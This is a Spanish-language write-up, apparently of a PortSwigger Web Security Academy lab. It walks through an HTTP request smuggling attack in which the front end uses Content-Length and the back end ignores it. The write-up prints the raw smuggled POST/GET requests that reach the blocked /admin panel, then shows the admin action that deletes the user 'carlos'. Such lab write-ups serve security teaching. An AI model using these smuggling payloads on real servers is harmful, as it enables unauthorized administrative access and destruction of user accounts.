Skip to content

20260217220707.png

LAB

En el sitio web podemos observar que tenemos un apartado de administrador. Teniendo en cuenta que el frontend acepta content-length y el backend acepta todo.

20260217221641.png

El cual este apartado no se tiene acceso.

20260217221702.png

Para lo que construiremos nuestra solicitud maliciosa. Al construir nuestra solicitud y enviarla, el servidor nos responde con un error de {"error":"Both chunked encoding and content-length were specified"}

20260217222738.png

c
{"error":"Both chunked encoding and content-length were specified"}

Por lo que se borro la cabecera de Transfer-Encoding

c
POST /resources/labheader/images/logoAcademyDark.svg HTTP/1.1
Host: 0af200eb03afbd9880e31215004c00d0.web-security-academy.net
Content-Length: 84


GET /404 HTTP/1.1
Host: 0af200eb03afbd9880e31215004c00d0.web-security-academy.net

Al enviar la solicitud vemos que tenemos otro mensaje, el que indica que se están duplicando las cabeceras.

20260217222953.png

Por lo que cambien de Host a test y al enviar la solicitud el servidor nos responde con un 200 OK.

20260217223458.png

Al enviar la segunda solicitud, observamos que este nos genera un error pero con un detalle, el que este da una ruta que es /404 el que ingresamos anteriormente.

20260217223519.png

Teniendo en cuenta lo anterior, y que en la segunda solicitud el servidor responde dando pase a la ruta que nosotros como atacantes le ingresamos.

Ahora que entendemos lo anterior, ahora construimos la solicitud con la ruta /admin y enviamos.

c
POST /resources/labheader/images/logoAcademyDark.svg HTTP/1.1
Host: 0af200eb03afbd9880e31215004c00d0.web-security-academy.net
Content-Length: 86


GET /admin HTTP/1.1
test: 0af200eb03afbd9880e31215004c00d0.web-security-academy.net

Ahora que enviamos la segunda solicitud, podemos observar que efectivamente vemos el panel de administrador /admin.

20260218220155.png

Por lo que podemos automatizar esto, agregando las dos solicitudes a un grupo y cambiando el tipo de envió.

20260217224050.png

20260217224143.png

Luego podemos observar que para completar el laboratorio, tenemos que borrar al usuario carlos.

c
                           <a href="/admin/delete?username=carlos">Delete</a>

Para eliminar al usuario carlos, debemos enviar una solicitud GET a la ruta /admin/delete?username=carlos

20260217224231.png

Al enviar la solicitud podemos observar que tenemos una respuesta de 302 Found el cual indica que se elimino con exito.

20260217224737.png

20260217224540.png

Al volver a consultar al panel del administrador /admin

20260217224843.png

Se observa que el usuario carlos fue eliminado correctamente.

20260217224853.png